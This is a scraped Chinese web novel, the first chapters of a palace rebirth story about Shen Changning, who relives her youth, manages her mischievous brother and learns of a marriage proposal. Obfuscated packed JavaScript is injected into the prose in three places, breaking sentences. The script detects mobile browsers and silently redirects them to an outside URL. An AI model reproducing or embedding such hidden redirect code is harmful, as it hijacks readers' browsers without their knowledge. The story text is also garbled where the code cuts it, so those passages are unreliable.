《退下，该咸鱼上场摆烂了》 1. 重开宴1 乌云遮月，风雪漫天，夜幕黑垂。 风刮过地皮，卷起没过脚踝的积雪，落在一重重宫苑正脊的琉璃瓦片上，将朱红与明黄都染成一片白茫茫。 开元三年，腊月二十二。 坤宁宫殿内。 太监宫女噤若寒蝉。 一地灯影潋滟，随过往风过，飘忽不定，恍若风中残烛。 织金帷帐内，沈长宁清亮的眼轻阖着，不愿见坐于身侧的男人。 那是她的丈夫，大庆的帝王。 二人也曾有言笑宴宴，红烛彻夜摇晃之时。 只十载夫妻，走至今日，终成陌路，再无一言。 沈长宁恨他行事卑鄙，无情无义，寡恩薄情。连见他，都觉得恶心。 太医叩伏在地，冷汗浸透了衣裳，惶恐不敢语。 “陛下。”帐幔内，沈长宁轻叹，终传出一声轻柔的唤，“饶了他们吧，生死有命，月都有阴晴圆缺，人又怎能永远圆满。” 四周阒寂，唯有宫人跪地低泣。 新帝沉默无言。 沈长宁身子疲沓到极致，渐渐说不出话，她知晓，自己要死了。 - 这是二人结发的第十年。 刚嫁给他那年，他尚是冷宫里的废弃皇子，无依无靠，又得罪了备受宠爱、权倾朝野的娴贵妃，朝不保夕。 二人扶持着走过最艰难最难堪的日子。 她不喜争抢，可为了活下去，不得不争，不得不抢，终于，她累了。辛苦汲营一辈子，到头来，还要被狗男人渣。 封后圣旨传来那日，他扶持了自己此生挚爱为皇贵妃，赐居凤仪宫。 阖宫跪地求她，贴身宫女泣道，“此人不除，来日定成大患！娘娘务必先下手为强！” 沈长宁想起自己的病，陪闻钰从废弃皇子走到帝王这些年，她真的太累了，都不知自己受了多少阴谋算计，太医说她已时日无多。 沈长宁只笑笑。 不爱一个人的时候，他做什么，她都不会有波澜起伏了。 她纵要下手，也要对闻钰下手，关那女子何事？ 回溯纷至沓来，疼痛顷刻间席卷全身，整个人如被灌了铅似的，向深渊里狂坠。 皇宫是座巨大且森严的枯坟，坤宁宫是内里一个华丽的棺材，终将她埋葬。 宫人跪地，泪如泉涌。 云板骤响。 皇后娘娘，殁了。 …… 两面绣草兽花木纹的葱绿帘帐内，沈长宁猛然惊醒，汗湿额角，濒死的疼痛刻在灵魂里，总也散不去，让人心惊。 下一刻，她如若雷劈，瞳孔骤然急缩！ 这不是坤宁宫。 沈长宁脸生惊愕，宛若见鬼。 这地，分明是她未出阁时所住。 沈长宁怔怔盯着眼前的柞木地板，是做了噩梦后，在投胎前，再给自己一个美梦？ 沈家祖上曾以文治袭过列侯之位，几辈经营下，爵位虽断，可前后出过五位进士，虽然留京的只寥寥一两位，其余都外放去了十八行省，但也被各处称作是书香诗礼之族。 沈家这一代，仕途最有望的，本是她父沈锡，十七岁中举，名列二甲第五，后娶恩师家的二姑娘为妻，仕途通达。 沈长宁幼时，沈锡仕途正兴，后又得了好差事，替陛下去江苏巡盐，一时风光无两，只待两年后回来，再在地方得些政绩，于六部熬十来年的资历，等过了四十，便有望内阁。 只是人忽去了。 母亲在回京路上，伤心过度，一病不起，还未回京，就撒手人寰。 沈家子嗣颇丰，出息的孩子却唯有沈锡。虽是庶子，可乃天子门生。在外赴任的祖父听闻丧报，一病不起，也跟着走了。 盐官，如果不死在任上的话，着实是个肥差。可父亲偏在任不到两年，便去了，依着律例，要查账查亏空。 族人总想着，盐道怎会有干净的官，江南又向来多贿赂，万一被查出什么，与其被抄家，不如他们先将家产抢过来。 沈长宁那时，过得并不好，和弟弟相依为命。 小时，她连启蒙老师都是进士出身，等父亲去了，族里若有若无地风声传到耳朵，明里暗里地说束脩太贵，每月要二两银子，替她以守孝之名搪塞过去，解聘了老师说在族学里学也是一样的。 可有人私下道她和弟弟是野种。 沈长宁头一次不愿意忍了，第二天没去族学，出去买了条鞭子，第三天找到骂她的人，狠抽了对方一顿，鞭子上带刺，每每沾上抬起，都带着血肉。 孩子们被吓傻了，见她，宛若见鬼。 沈长宁浑身的刺都炸了起来，尖锐刺向族学里的所有人，一双黑眸死死盯着被自己打得皮开肉绽的族中堂弟，冰冷冷道：“我父亲是咸初三年的进士，天子门生，又为国事而死，他是功臣而非罪臣！” “只要我还在沈家一天，你们谁也别想再使阴私手段刻薄我们，那些不干不净的浑话我若再听见，绝不客气！” “我父亲是进士，祖父更曾任科举考官，朝堂之上、天子眼前，多有他们的门生故吏、昔日同窗。你若真有胆子，就接着欺我！我爬也爬到锦衣卫告你们的状！” 打得一拳开，免得百拳来。 沈长宁之后便在族学里过上了太平日子。 - 沈长宁如遭雷劈，不可置信之色跃于脸上，只觉有什么认知在分崩离析。 她呆呆看着透过窗纸打进来的阳光下，周遭一切恍如隔世，满心只有一个念头。 这不是做梦！ 沈长宁怔愣片刻，猛回神，快步来到梳妆桌台上，急掀镜匣，抓出内里的四方月宫菱花镜。 微微泛黄的镜面略有些昏，看东西像隔着层浅淡的雾，却依然能窥见持镜者面容。 琼鼻杏唇、肤光盛雪，看起来柔软而明艳，宛若沾着露水的芙蓉花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773609|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈长宁捧着镜，跌坐在凳上，心脏掀起重重的惊愕潮水。 她真的复生了。 还未来得及细想，门忽被拉开，刺骨霜雪裹着一人影共同卷进来，但那人只给片刻机会，人进来的下一刻，双手便向后一推，嘭地将门合上。 她冻得直跺脚。 冷风打着卷飘进，沈长宁禁不住回头。瞧清来人，骤生恍惚之感。 那人一袭嫣红色花卉暗纹交领褙子，下着象牙色百褶裙，脸颊丰盈，一双圆月眼玲珑水润，剔透得紧。 这是她的贴身婢女，倚云。 时隔多年，再度见她，沈长宁恍惚了瞬。 前世，她并未随自己入宫，而是被她给放了出去，听说嫁了个商人，随着天南地北地做生意，有模有样。 她素是个稳当的，今日头顶却微微沁汗，天寒地冻的日子，想也知道走得尤急。 沈长宁想问她怎的了，还未开口，就听其道：“七少爷在族学里，将自己摔晕了，大夫人让姑娘快去瞧！” 七少爷，正是沈长宁的亲弟弟，沈庭萧。 沈长宁过了遍她说的话，第一次感觉没大听懂，再问一遍：“……怎么晕的？” 她实在是想不出，到底是什么样的姿势，才能将自己给摔晕？ 倚云也只听人说了嘴，心里急，忙来通禀，也未细问。 她只复述，挑拣重要的说：“说是先生在定年尾考评的题，他想着孩子们也快十岁，再过两年，就要去县学，考题就定得难了些，范围也广泛，四书五经，诗词歌赋均有涉猎，想摸个底。” 入县学，要过童试，内含县、府和院三门考试，范围涉及八股文、诗赋、策论，近十年，又加了算术。 虽说十五岁以下的幼童比成人少考些科目，但想通过，也非易事。 倚云：“先生说完要考的东西，那些孩子就面露苦色，先生板着脸，说他们全无读书人之气，往后的院试、会试比这难多了，又加了《算经》。” “未料想，七少爷忽然拍桌起身，大叫一声，就向外冲，可刚出脚，人就脸朝地摔了下去。”倚云听着都觉惊心。 沈长宁愣愣听完，好半晌，才回神，抬手接过倚云递来的斗篷，匆匆系上，和她抬步向外走，语调含忧：“大夫可来了？” 人都晕了，想也知道绝非小事。 倚云小声：“咱家少爷皮实，那一跤，没伤至要害，当不妨事。” 她斟酌着该不该接着说，接下来的话，实在让她不好意思。 可为让沈长宁有底，到底说了。 倚云：“姑娘不知，族学的先生都要吓疯了，抱着七少爷喊几声都没得到应，人当场就倒了，怎么叫都没叫醒，听说晕前，还抖着嗓说，这次庭箫会什么他考什么，可让他坚持下，万不能有事。” “……？” 救命！ 可以不去吗。 这也太丢人了。 2. 重开宴2 心里如此想着，身体却已替脑子做出反应。 雪风列列，门甫一开，雪沫子吹来，就将倚云的尾音给吞了。 沈长宁心觉丢人，迈出门槛的步子顿了下，忍不住将兜帽再向下压了压，挡住一张姣好的美人面。 ……她弟弟小时，做事这般丢她脸的吗？ 雪大有弥天之势，方才刚扫出的路，不消片刻，又融入周围的雪白中。 沈长宁知晓为何倚云来时满头满脸的薄汗，她如今顺风走得都艰难，深一脚浅一脚。倚云来时要逆着满天风雪，可不更难上三分？ 俗语道，下雪不冷化雪冷，诚不欺人。 沈长宁到时并不觉冷，反如烤火般，微微发汗。 她在门口解了兔毛斗篷，向里瞧，但见四五张檀木椅子，尽坐着人，边上站着几位打扮清雅的妇人，都凝目向里窥。 这些皆是族学里的人。 打起帘子，绕开议事厅，但见内里分列而坐的人。 兰嬷嬷正用煮过的帕子擦拭沈庭萧脸上的伤。 大夫人则坐在沈庭萧往日常睡的如意八宝雕纹架子床边上，守着老先生。 大夫人姓方，单名一个慧字，是大伯沈钦的夫人。 沈钦是先帝在时的举人，会试屡屡不第后，就走了家中路子，于吏部补缺时去了地方做知县。 父子皆死在任上，算是对国尽忠尽孝，沈钦得了难荫，受中顺大夫，回京任职，几年累迁下来，现已成正六品顺天府通判。 老夫人也在。 当着众人面瞧看眼，用帕子擦了擦眼角，哀哭了几声。 老夫人其实并不喜欢沈长宁与沈庭萧，两人的父亲出自姨娘的肚子，这两孩子和她是半分的血缘关系都没有，父亲又害的她守寡。 她再怎么劝自己，莫要将大人的事迁怒给孩子，可终究还是过不了心里那道坎。 一家人吃饭时，她对着大房、三房的孩子尚笑，转头看见两人，笑就落了。 两孩子许是有察觉，除了素日里头的请安，很少去她面前讨嫌。 大夫人知晓老夫人的真实念头，见她哭，登时去劝，让人又将其扶回去，好生歇着。 这是个爱挑刺的祖宗，还是不在这的好。 老先生还昏着，但面色无虞、呼吸绵长，只是受惊过度，晕了罢了，并不碍事。 沈长宁再去罗汉床前。 沈庭萧今刚八岁。怎么看都只是个孩子，和记忆最终的肃杀凌厉相差甚远。 前世，他不过十五，就死在了战场上。 外头雪大，府邸里的人去寻大夫，许久方回，归时身上尽是落雪。 小厮请了两位大夫，一位尤擅小儿，另位则是老御医，从宫里退下快三年了。 教书的老先生无大碍，是惊惧过甚，急火攻心所致，施下三针不久便转醒，“老先生，给您两副药，回去煎着——” 老先生没听大夫的话，满脑子都是沈庭萧在自己面前晕过去的景象，心跳一空拍，险些再晕。 他在前面唬着脸，想着临近过年，长假将至。该挫挫他们的锐气，为考县学做准备，就将月考范围扩大了些，想给他们些颜色瞧瞧。 没想到熟睡中的沈庭萧忽然起身，猛拍桌子起身，冲他就是一声“呔！！” 紧接着就如离弦之箭，双手在桌上一撑，想向外走，没成想，腿短，脚绊桌子上，脸着地，登时晕了过去。 族学里都是小孩子，登时惊恐散开、做鸟兽乱。 老先生被变故惊呆，坐在上首，好半晌才反应过来，拎着袍子，急匆匆向沈庭萧身边赶去，边跑边问道：“你会什么为师考什么，行不行啊？” 沈庭萧没动静。 一小姑娘此时忽然大哭，趴在沈庭萧的身上，泪流满面：“你死得好冤哪！！你说今年上元节给我买灯笼的……” 死……死了！？ 老先生毫无防备，短短时间，连受刺激，只觉天旋地转，捂着心脏，也惊厥了过去。 学堂向来不许仆人进入，孩子们最大的不过十岁，被变故吓懵了，说话没个轻重，消息传到后院，竟成了沈庭萧和老先生双死，吓得老夫人都差点被带走。 老先生复醒，一番情绪饱满地回忆后，愧悔难言，不由长叹：“是我对不起从之。” 他没事，给孩子布置那么多功课做什么？ 从之，是沈长宁父亲的表字，二人以前有些渊源。 一屋人听此话，登时不知哭笑。 大夫人上前半步：“老先生这话可真是折煞死我们了。”见他要起身，似有行礼之态，忙按住，“大夫瞧着呢，眼下没大碍，而且这事是孩子贪玩引起的，您无端受牵连，已让我们不安，您这般，真是让我们无颜见姚家先人。” 老先生不信，哭叹：“你且宽慰我吧。” 闻言，沈长宁哭笑不得 ，邀来大夫，让其亲自说，又请老先生亲自探过沈庭萧鼻息，方才信了。 今日过得一波三折，心被几番高高抛起，再落下，如今见着尚在昏睡的罪魁祸首，真想好生教育两句，但到底没舍得，且等他好的。 大夫人看出老先生的窘迫，让丫鬟带着老先生去侧间整理仪容，再让小厮引先生在府中小住一晚。 雪大，行路不安全。 同时仔细叮嘱，让大夫再开副安神的方子来，她瞧老先生神思不属，可莫吓出病来，年纪大的人，可禁不起折腾。自己再去前厅敬告族老。 事发生在族学，孩子嘴最是快，不到一个时辰，竟是大半人都知道了。 一番忙碌，等歇下来时，天已大黑。 今日一磕，实在是惊心动魄。 沈长宁没什么事做，干脆提笔，给他这副样子画下来，挂在他床头，省得做事总毛毛躁躁—— 大夫人陪着，就是不大坐得住，想走，又不好意思。 沈长宁立刻明白了，柔声劝：“伯母，这有我在，伯父眼瞧着要下职，厨房那边还需您费心盯着。” 大夫人心登时如被绵热的水温过，熨帖得紧。 她确实坐不住，可两孩子没了恃怙，她又是沈锡的嫂嫂，长嫂如母，丈夫做回京官，又多承沈锡的情，她不好不管。 沈庭萧今日这般情态，若被外人知道，竟无什子长辈关照在左右，传出去，指不定怎么说沈家人刻薄呢。 可将要过年，府中那些事，都要她张罗。 她膝下的三哥又过了乡试，眼瞧着来年三月，要考会试。 一提起它，她的心就悬悬，没个定处。 她的丈夫可就卡在了会试上，纵然如今有官身，可到底弱了进士出身的官员许多，进士升任是无上限的。 举人却不同。 她的丈夫，这辈子最高不过再升半品，还是致仕前，宫里给的体面。 五品官，那是想都不要想。 正因为知道其中艰难，她才更不愿儿子走父亲的老路。 她的夫君尚能靠着祖辈余荫过活，得个体面。 她儿子呢？ 谁来给他儿子体面？ 他儿子的路，只能自己走。 方慧心底沉沉。 - 酉正三刻，沈钦下值归家。 方慧接其入门，替他宽衣，伺候着他用饭。 沈家儿郎，模样都不错，沈钦年过四十，依旧儒雅有致。 夫妻感情很是和睦。 沈钦并无妾氏，只一个通房，也不常去。 去年，通房得了急病去了，她给人葬了，又给对方家里拿了五十两银子，当作抚恤。 如今沈钦身边，只她一人。 两人成亲二十余年，给沈家添了两子一女，头生的哥儿，是沈家的嫡长孙，只没留住，让她好一阵神伤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773610|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老夫人尚在，不得分家，几房儿女都放在一起排序。 她的文哥儿，名唤沈庭文，齿序第三。姑娘沈宝婵，齿序第五。 沈长宁齿序第四，是府里的四姑娘。 沈庭萧最小，排第七。 方慧提着，今年祭祀，一定要大办，风风光光的，叫列祖列宗保佑，让她的文哥儿高中。 沈钦放下筷子，指着她，笑。 方慧恼。 笑什么！ 她是母亲，活着不就是为了儿女，难不成这般年纪，还谈和沈钦的感情？ 她不愿理他，准备让婢女伺候自己梳洗，刚起身，想起事情，又腾地，坐了回去，嘱托：“箫哥儿今日伤了，你得了空去瞧瞧。” 沈钦筷子微微一顿，没接话，而是正色问：“四姑娘也在？” “应在。”方慧见他神色，心里没底，以为出了什么事，“怎的了？” “今日有人私下向我打探她的婚事。” “啊？”方慧来了趣，“谁家？” 大庆女子到了十六，便要议亲，有当年嫁的，也有次年嫁的。 沈长宁今年十五，过了年，便十六，到了言说亲事的时候。 她本还留意着。 但想着沈长宁失了恃怙，翻看几家，总定不下主意，怕对方门第太高，看不上沈长宁，又怕门第太低，嫁过去吃苦。 她还想着，过了年和沈钦商量一番，没想到，这就有了信。 沈钦接过仆妇递来的擦手帕子：“李家。” 方慧脑子里顿过了几个五六品且姓李的人家，眼睛放亮，问是哪一个。 那几家，还都不错！ 沈钦起身，等方慧禁不住好奇，身子凑过来，才笑言：“不告诉你。” 方慧反应半晌，才意识到他在说什么，没好气地让他快些走，可别在她房里碍她的眼。 他不说，她也不问了！到时候让他这个一家之主和人家过三媒六聘的礼，丢死他的人！ 真是没天理了！ 倒反天罡！ 方慧坐了半晌，又实在忍不住心中好气。 到底是哪个李家？ 若是姓李的那位老翰林—— 方慧的心微微热了起来。 她去熏笼架上取来外衫，头向外一探，不见沈钦身影，忙让仆妇提了灯笼，去瞧瞧。 她做伯母的，关心下侄女怎的了！ 方慧快步走，生怕去晚了，听不见重要之事。 - 碧霄阁。 屋外雪渐停，不闻簌簌声。 仆妇来报：“大爷来了，请姑娘去。” “伯父。”沈长宁入前厅，冲坐在上首位置的男人唤了声，接着福礼。 男人闻声放下刚拿起翻了两页的杂书，抬头看来，露出一张儒雅俊秀的脸来，笑着点了点头。 手中书，写的都是些戏文，想也知道，是沈庭萧白日里看的。 “你坐。”沈钦温言。 沈长宁坐于他左侧下首位置。 沈钦问：“你近来可回姚家？” 沈长宁母亲姓姚，姚家，正是她外祖父家。不过外祖父并不在京中任职，如今在京中的，是她的舅舅姚振卿，人在礼部祠祭清吏司任郎中。 可回姚家—— 沈长宁一哂，实在不知该如何回答。 她若是货真价实的十五岁沈长宁，此刻定能回答出来，可她不是，她内里的芯子，已在人看不见的暗处，添了十年。她实在回想不起来，十年前的自己最近有没有去看望过舅舅。 正斟酌着要不要接话，门忽被推开。 方慧推门，瞧见沈钦，并不搭理，而是含笑来至沈长宁身边，面不改色地道：“我实在放心不下你，特来瞧瞧。” 说完，左右望一望，热切问：“你们刚说什么呢？” 3. 重开宴3 沈钦猛用袖子掩唇，险些抑不住笑。 真是的。 不是说不关心吗？ 怎么临到头，又来这出。 沈长宁不知方慧为何如此问，一五一十地答。 方慧听得一头雾水，不是说婚事吗，提姚家做什么，这人到底卖的什么药？ 方慧还记着吃饭时的事，忍不住和沈钦别苗头：“回不回舅舅家，姚家都是不挑的，你个伯父，怎操这份心。” 沈钦笑看两眼，偏过头，又笑。 这人，怎如此记仇。 他不就是卖了个关子。 方慧不依，旁的事她还愿意顺着，可事关沈长宁，甚至可能影响沈庭文，她怎能不急？ 沈钦让婢女都退出去，屋内不留旁人。 他属外男，沈长宁又大了，总要避讳，不好私下见面，方留了婢女在旁。 当下，方慧既在，倒不用那般忌讳。 闺房里说这些，算趣味，沈长宁作为他侄女，他哪还能如此，未再卖关子，而是正了神色，认真道：“近来，朝中有同僚，向我打探你的婚事。” 他一开口，沈长宁眼睫倏然轻颤，搭在膝上的手，在衣袖遮掩下，攥紧了裙摆。 十五那年岁末。 有人来求娶，家里为其相看，满意得紧，本要下定，后面却突生波折。 “谁家？”方慧压抑着喜意，问。 他方才问起姚家，姚家现在可比沈家有威望得多，难不成，对方并非是她所想的那些，而是高官要员？ 会是谁呢？ 方慧脑袋略转了转，还没来得及细想，就听沈钦笑道：“也不瞒你们，是礼部左侍郎家。” 大庆的官职排序，贵左贱右。 左侍郎，在吏、户、礼、兵、刑、工各部里，权利仅次于该部尚书，稍高于同阶右侍郎。 但礼部，涉及另桩旧制，与其余五部略有些出入。 因着朝廷入内阁的前提之一，便是曾任职礼部尚书。如若再不着边际且不负责地扩大些说，礼部尚书的下一步递补入阁。 方慧呆住。 喜悦顷刻间冲昏了她的头脑，让她眼前阵阵发昏。 礼部左侍郎？ “……我的老天爷！”方慧攥着帕子掩在唇边，没忍住轻叹。 那可是正三品的朝官。 今乃盛世，礼部地位可不低，那是管天下读书人的，纵实权比不得吏部天官，可还是有和户部比一比的实力的。 这么好的门庭，这么好的婚事，就落在了家里姑娘身上？ 方慧满脸满眼的不可置信，只觉得人在做梦，喜不自胜：“你说真的？” 沈钦就知道方慧要生此情态，笑：“唬你做什么？” 礼部左侍郎，姓李，单名一个讯。 他道：“李大人言，他和二弟素日里有些交情，又说夫人膝下有个幼子，今年十七，过几日要上门给母亲拜年。” 依着惯例，儿女的婚事，都要由母亲出面言说。 只沈锡早去，他又位卑，并非朝官。那些人并不知沈家近况，平日里交情又少，不好贸然登门，这才有今日一番言说。 方慧听说养在夫人膝下，眼又瞪圆了些，又喜又惊道：“还是嫡子哪！” 这么好的事，竟会落在她的头上？ 本来想着是个李翰林家就是祖坟冒青烟，老天爷保佑了！ 她哪敢想，对方的门第比她想得，还要远高数倍。 这不是祖坟冒青烟，这是祖宗直接显灵了啊！ 沈长宁心思本还在这桩婚事上，如今倒是被方慧吸引去了注意。 上辈子，她怎未注意，伯母竟如此喜人。 沈长宁不由弯眼。 低头，肩膀颤了颤。 - 方慧随沈钦回正院，人还没缓过神。 仆妇走在前提灯照亮。 她便在后，攥着沈钦的袖子，和他低言，连问数遍，到底是不是真的。 明明知道定是真的，可真落在实处，反生出惶惶不敢相信之感。 沈钦一扬眉：“我诓你，你还不得趁我睡时将我给撕了。” 方慧伸手锤他。 脸上却忍不住地欢喜。 沈长宁这一嫁，整个家里的儿女，都跟着借光。尤其是下头的两个姑娘。 真是一下让她了了许多心事。 晚上，方慧翻来覆去地睡不着，惹的沈钦也不好安睡。 方慧靠在软枕上，和沈钦说话，开始担忧上了：“明天还是让人去祖坟瞧一眼吧。” 可别真着火了。 沈钦愣了愣，明白过来，笑个不停。 他问：“前两日我说新年给祖宗换个牌位，你还不干，言之凿凿，说扰了祖宗安睡，来日文哥儿会试，人家就不给借力，怎的你现在开始说他们安寝的地不成了？” 方慧张口欲要反驳，动了动唇，发觉此事自己完全无法反驳，嘴又合上了。 她转侧靠在软枕上，隔着锦被，手搭在他的臂上，认真问：“你说，长宁嫁得这么好，咱家的宝蝉，是不是能她相差不太大。” 她不好说嫁得同样好。 那也太让地下的祖宗累劳了。 沈钦叹：“怕是难。”说完，又觉得此话易让方慧伤心，又留了三分余地：“且看看文哥儿来年能否中举。” 沈庭文若能榜上有名，宝婵作为他的亲妹妹，身份自然水涨船高。 方慧不解，觉得他在轻贱沈宝婵，手移开，别过身子，脸也不朝着他了：“你怎的净长他人志气？” 她的宝婵，明明就很好啊！ 她又健在。 不像沈长宁，是个孤女。 方慧知道自己这般想，不好，可她就是忍不住，想让自己的孩子，再好些。 沈钦心想。 沈宝婵若能和沈长宁一样，有个为圣上鞠躬尽瘁而死的爹，自然就万事妥当了。 他一边想一边说。 方慧急去捂他的嘴，紧张起来，“大晚上的，胡说什么，也不怕惹了过路鬼神，让他们在阴司生簿子上记你一笔。” 她气弱，终究服输，“大不了，我再不说了让宝婵和长宁相比的话，成了吧！” 她倒是忘了，沈锡死在任上，沈长宁算功臣之后的事了。 善待功臣之女，是朝野赞扬的好事。 她思量着睡去。 准备明日托人问问李家那个孩子。 - 沈长宁睡不着。 同在想与李家的婚事。 上辈子，家里本要她和李家四郎定下，对方样貌、性子都不错，又有功名，是个秀才。 她隔着珠帘，遥遥瞧看过一眼，但见其举止有度、萧萧肃仪。 方慧问她，可否满意。 她点了点头。 她是个孤女，能嫁给对方，已然是大运道。且她受了沈家那么久的情，该还了。届时她有倚靠，沈庭文于朝堂上也有助力，可以反过来让她倚傍。 只天意弄人，婚事到底未成。 沈长宁微微出神。 求娶她的李家，时任礼部左侍郎。 过了年，内阁里的一位阁老将要致仕，宫中的意思，是由礼部尚书补缺，如此一来，空着的尚书位，便成了各家竞相争抢之物。现在里外皆传空缺要由如今的礼部左侍郎，既是李家顶上。 可李家是纯臣，虽然比较墙头草，左右逢源，但并未在皇子之争里站队。 当今皇帝心里最满意的储君人选，一直都是先太子，纵其生母早亡，依旧登基便封太子，亲自教养在身边。 先太子也未辜负皇帝期望。为人有胆有识、能文能武，朝野中威望素著。 只八年前，结党妄行，犯下谋逆大罪。 皇帝震怒。 太子被拘禁废黜，终自刎而亡。 皇帝对儿子都未流行，更不会留其党羽。各处刑房，都腻了厚厚一层血污，全是高官要员的血。 不过朝臣就像野草，只要给些水土，便一茬茬地长。 从龙之功太过惑人，随着其它皇子长大，朝堂再生波澜。 宁妃一党，与皇后一党，斗得你死我活。 二者如今皆对尚书之位虎视眈眈。 侍郎横跨两级，直升尚书，虽罕见，并非没有。但到底没有旁的竞争者稳妥。 李家此时向沈家问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当一个帝王恨一个人时，与其有关联的东西，便都成了错。 皇帝盯着闻钰，恨意沉沉。 他遏制不住迁怒的心。 可闻钰到底是他的骨血，又非皇后亲生，只养在她膝下。 皇帝那时，想到秦均行。 他下旨，将沈长宁许给了闻钰。 这是他对闻钰，罪恶意的报复。 秦均行此人，性子锋利桀骜，心如利刃，唯求巅峰。情上又爱恨浓烈、恩怨分明。 他倒要看看，这两个少时好友，如何不心生嫌隙？ …… 满室流动的，只有条几上，鎏金小铜炉里袅袅飘出的香。 沈长宁想着事情，了无睡意。 小时，她总是对沈庭萧过于严厉，这次，她想做一个慈爱的姐姐。 上辈子他怕是怨自己总对他过于苛刻，不然怎么死后，一次也不肯到她梦里来。 四更过，天未亮。 床里的人只觉头晕眼花，混沌睁眼，可头太晕，刚抬起身子，就倒了下去。 几次过后，人彻底被魇住。 明明清醒着，却无法动弹，连眼睛都睁不开，只得尝试动一动。 浅睡着的沈长宁忽被人踹了脚。 她缓缓睁眼。 下一刻，又挨了脚。 沈长宁起身看他，迟疑：“沈庭萧？” 怎的了？ 她碰了碰他。 手指还没触到，指尖就被打了回去。 十指连心，沈长宁感受着痛感。 一息后，随着清脆响声落下，一道嚎叫紧随着响起，“啊？——啊！！” 沈庭萧睁眼，瞧见了沈长宁，感受着脑袋上的疼痛，迟疑摸了摸，疼得嘶嘶嘶。 族学的事，他还未想起来，以为是沈长宁下的手，不由委屈：“你前日不是说过，今后再也不打我了吗？你这下手也太狠了。” 眼前阵阵发晕。 沈庭萧有些不知道自己在说什么，如果此刻他是清醒的，他一定会自己抽自己一个嘴巴子，不让自己说出心里话。 只是，他并不清醒。 沈庭萧晕乎乎地扶着脑袋，说出倒反天罡之言：“沈长宁，你敢打我，我要让大理寺抓你去判刑！” “？”沈长宁：“……你说什么？” “给你送进去判刑。” 沈长宁气笑了。 谁给你的胆子！ 4. 重开宴4 呜咽声散开，瞬间惊醒隔间守夜的倚云与兰嬷嬷。 兰嬷嬷是沈长宁母亲的陪嫁嬷嬷，一手抚育大了沈长宁，如今在照料沈庭萧。 二十余年的主仆情谊，兰嬷嬷在如今的沈家，很得敬重。 两人忙起身，但欲撩帘时，禁不住面面相觑。 倚云小声：“……真要进？” 兰嬷嬷脚步停了停，猜到什么，眼睛在倚云身上一扫，缓缓问：“你害怕？” “我没有！我不怕！”倚云嘴硬。这么多年，在沈长宁身边，唯一学会的原先性格里没有的就是逞强。生怕自己在人前不经意间露的怯弱，让自家主子被人耻笑了去。 “……可我害怕。”兰嬷嬷双手捏着帕子，心里七上八下的，忍不住翘脚向里看，满脸皆忧。 里面没点灯，只有屋外落雪反出的光打透窗，投向视线远处，看不太清。 目光受阻，听觉倒比寻常灵敏三分。 起码，听哭声还是挺明显的。 到底是因着什么事，四更天还被打？ 正想着，就听内里传来声音，“还去不去大理寺报官抓我！” “去！马上去！！” “嗯？” “我让他们抓我，把我拖进去判刑关禁闭，呜呜呜……” 门口的兰嬷嬷：“……” 旁边的倚云：“……” 噗—— 两人忍俊不禁。 沈庭萧脑袋被沈长宁锤进枕头里，自觉丢人，也不想出来，兰嬷嬷和倚云进来时，还维持着原先姿态。 倚云先进，人去点灯，兰嬷嬷顾不上别的，脚步加快，一溜烟来到床边，去看自己的小心肝。 “哎呦！我的小祖宗！姑娘打哪儿了，快让老奴瞧瞧！” 有唱红脸的，自然要有唱白脸的。 这些年，两人都习惯了。 兰嬷嬷的怵，是真怵，沈长宁教育起沈庭萧时，从不留手。 沈庭萧这孩子，说听话，自然是听话的，可若说起胆大，其它家的百个加一起，也比不过这一个，小时还站在阁楼上，做势欲跳，要做空中飞人。 当晚，她都差点跟着沈长宁一起抽他。 后来发现沈长宁抽得极狠后，又开始反劝。 沈长宁现在身上都是疼的，说不定明早起来还要发青，自己拿着红花油在手里揉开，坐在镜前，扯开领口，小心涂在肩胛骨。 另一头，兰嬷嬷哄了几句，将沈庭萧拉起，抱在怀里，正装模做样地挤着泪，要为他伸两句冤，再带他去给沈长宁道歉，没想到话刚起了个头，猝不及防看见沈庭萧的脸—— 下午那一磕，不仅下巴破了，连带着下嘴唇都摔肿了，再向上，是青紫的左眼，听说是摔倒时，这地磕在了其他人的脚上。 “好祖宗！嬷嬷在呢！我的小祖宗，你当真是让老奴——” 爱怜二字还未出口，兰嬷嬷猛低下头，拉过帕子，挡住下半张脸，肩膀耸动。 笑死了！！ 躺着的时候瞧还觉得可怜，醒着时候瞧，味儿不知为何，就变了。 沈庭萧不理解兰嬷嬷为何突然间态度大变，甚至在想，自己是否将哭笑混淆。明明是对方是哭到肩膀颤抖，自己却听岔了。 他弯腰去瞧兰嬷嬷的脸。 兰嬷嬷脸挡着，但实打实能看出，她在笑，且是大笑。 沈庭萧心中生疑，再生惊，想着是不是突发了癔症，忙下床去拿镜子。 族学里的老先生是个博学之人，闲暇时，常会与他们讲些民间轶闻，他对四书五经没印象，这些事倒是记得分明。 民间常说，铜镜通阴阳，僧道给神像开光时，就多用铜镜引正午阳光晃照。 他来到沈长宁身边，见她在用，脚步一停，很快，露出个讨好表情，指指尚在笑的兰嬷嬷，伸手搬来镜子，向床边疾跑而去。 中途，视线不经意间掠过镜面—— 